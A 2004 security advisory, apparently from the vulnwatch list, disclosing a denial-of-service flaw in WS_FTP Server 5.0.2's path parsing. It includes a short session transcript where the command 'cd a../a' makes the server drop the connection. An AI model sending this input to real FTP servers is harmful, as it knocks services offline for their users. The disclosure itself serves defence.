A vulnerability has been found in WS_FTP Server version 5.0.2. The problem is in the module handling the file path parsing.
0e9084f43b4dd2a738430735be464461a912bebcc7ffe06033f3e6e2a76d5da7
[vulnwatch] WS_FTP Server Denial of Service Vulnerability
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Security Advisory
Advisory Name: WS_FTP Server Denial of Service Vulnerability
Release Date: 08/30/2004
Affected version: WS_FTP Server 5.0.2
Author: lion <lion@cnhonker.net>
Overview:
A vulnerability has been found in WS_FTP Server. The problem \
is in the module of file path parse will cause FTP server to \
consume large amounts of CPU power.
Exploit:
E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.
About HUC:
HUC is still alive.